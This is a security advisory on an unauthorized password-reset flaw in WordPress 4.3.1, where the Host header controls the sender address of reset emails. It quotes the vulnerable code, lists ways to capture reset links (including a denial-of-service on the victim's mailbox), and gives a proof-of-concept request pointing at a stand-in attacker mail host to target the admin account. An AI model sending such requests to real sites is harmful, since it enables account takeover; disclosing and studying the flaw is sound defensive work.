SSD Advisory – WordPress Unauthorized Password Reset

Vulnerability Summary
The following advisory describe Unauthorized Password Reset vulnerability found in WordPress version 4.3.1.
WordPress is web software you can use to create a beautiful website or blog. We like to say that WordPress is both free and priceless at the same time. The core software is built by hundreds of community volunteers, and when you’re ready for more there are thousands of plugins and themes available to transform your site into almost anything you can imagine. Over 60 million people have chosen WordPress to power the place on the web they call “home” — we’d love you to join the family
Credit
An independent security researcher, Dawid Golunski, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.
Vendor Responses
We notified WordPress about the vulnerabilities back in June 2016, repeated attempts to re-establish contact and get some answers on the status of the patch for this vulnerability went unanswered. At this time there is no solution or workaround for this vulnerability.

Vulnerability Details
WordPress has a password reset feature that contains a vulnerability which might in some cases allow attackers to get hold of the password reset link without previous authentication. Such attack could lead to an attacker gaining unauthorized access to a victim’s WordPress account.
The vulnerability stems from WordPress using untrusted data by default when creating a password reset e-mail that is supposed to be delivered only to the e-mail associated with the owner’s account.
This can be observed in the following code snippet that creates a From email header before calling a PHP mail() function:

------[ wp-includes/pluggable.php ]------
...
if ( !isset( $from_email ) ) {
	// Get the site domain and get rid of www.
	$sitename = strtolower( $_SERVER['SERVER_NAME'] );
	if ( substr( $sitename, 0, 4 ) == 'www.' ) {
		$sitename = substr( $sitename, 4 );
	}
	$from_email = 'wordpress@' . $sitename;
}
...
-----------------------------------------

As we can see, WordPress is using SERVER_NAME variable to get the hostname of the server in order to create a From/Return-Path header of the outgoing password reset email.
However, major web servers such as Apache by default set the SERVER_NAME variable to the HTTP_HOST header, which can normally be supplied by a user in a HTTP request.
Because SERVER_NAME can be modified, an attacker could send a specially crafted request to trick the password reset script into sending a password reset e-mail to any WordPress user, such as the administrator, with the From/Return-Path field set to an email with the server of his choice e.g.:

wordpress@attackers-mxserver.com

If the local mail server allows relay of email with arbitrary domains, originating from the localhost, and an email gets sent to the victim WordPress user with such From/Return-Path header set. Then the attacker could possibly get hold of the password reset information via multiple ways:

  • Local mail-server decides to return the email to the sender because of some error
  • By performing a DoS attack on the victim’s email account (e.g by sending multiple large files to exceed user’s disk quota) in order to cause the password reset email sent to be rejected and thus returned to the attacker’s email.
  • Some auto-responders might attach a copy of the email sent in an automatic reply, depending on the implementation they might use From/Return-Path header to send a reply to
  • Social engineer the victim to reply, or send multiple password reset emails to force him to reply

Attacker could also trigger a password reset (with malicious headers set) on different WordPress account by brute-forcing, hoping to find a WordPress account that has an expired/deactivated e-mail account associated with it. Which can true for some employees who got their mailbox deleted when they left the company but the administrator forgot to remove their WordPress accounts etc. In such case, a password reset email sent to a non-existing email account, would go straight back to the attacker.
As to which e-mail header the attacker would be able to modify – From or Return-Path, it depends on the hosting environment. The From header sets also
Return-Path under Windows. It is also important to note that an attacker would be able to set both of the headers, irrelevant of the hosting environment, if the e-mail transport has been changed from using PHP mail() function to SMTP.
Proof of Concept
If an attacker sends a request similar to the one below to a default WordPress installation that is accessible by the IP address (IP-based vhost):

-----[ HTTP Request ]----
POST /wp/wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: injected-attackers-mxserver.com
Referer: http://wp-server/wp/wordpress/wp-login.php?action=lostpassword
Content-Type: application/x-www-form-urlencoded
Content-Length: 56
user_login=admin&redirect_to=&wp-submit=Get+New+Password
------------------------

WordPress will trigger the password reset function for the admin user account.
Because of the modified HOST header, the SERVER_NAME will get overwritten with the hostname of attacker’s choice. As a result, WordPress will pass the following headers and email body to the/usr/bin/sendmail wrapper:

------[ resulting e-mail ]-----
To: victimadmin@admins-mailserver.com
Subject: [CompanyX WP] Password Reset
Return-Path: <wordpress@attackers-mxserver.com>
From: WordPress <wordpress@attackers-mxserver.com>
Message-ID: <e6fd614c5dd8a1c604df2a732eb7b016@attackers-mxserver.com>
X-Priority: 3
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Someone requested that the password be reset for the following account:
http://companyX-wp/wp/wordpress/
Username: admin
If this was a mistake, just ignore this email and nothing will happen.
To reset your password, visit the following address:
<http://companyX-wp/wp/wordpress/wp-login.php?action=rp&key=AceiMFmkMR4fsmwxIZtZ&login=admin>
-------------------------------

This can be quickly verified by replacing /usr/sbin/sendmail with a bash script (with chmod +x ,bit set):

#!/bin/bash
cat > /tmp/outgoing-email

As we can see, fields Return-Path, From, and Message-ID, all have the attacker’s domain set.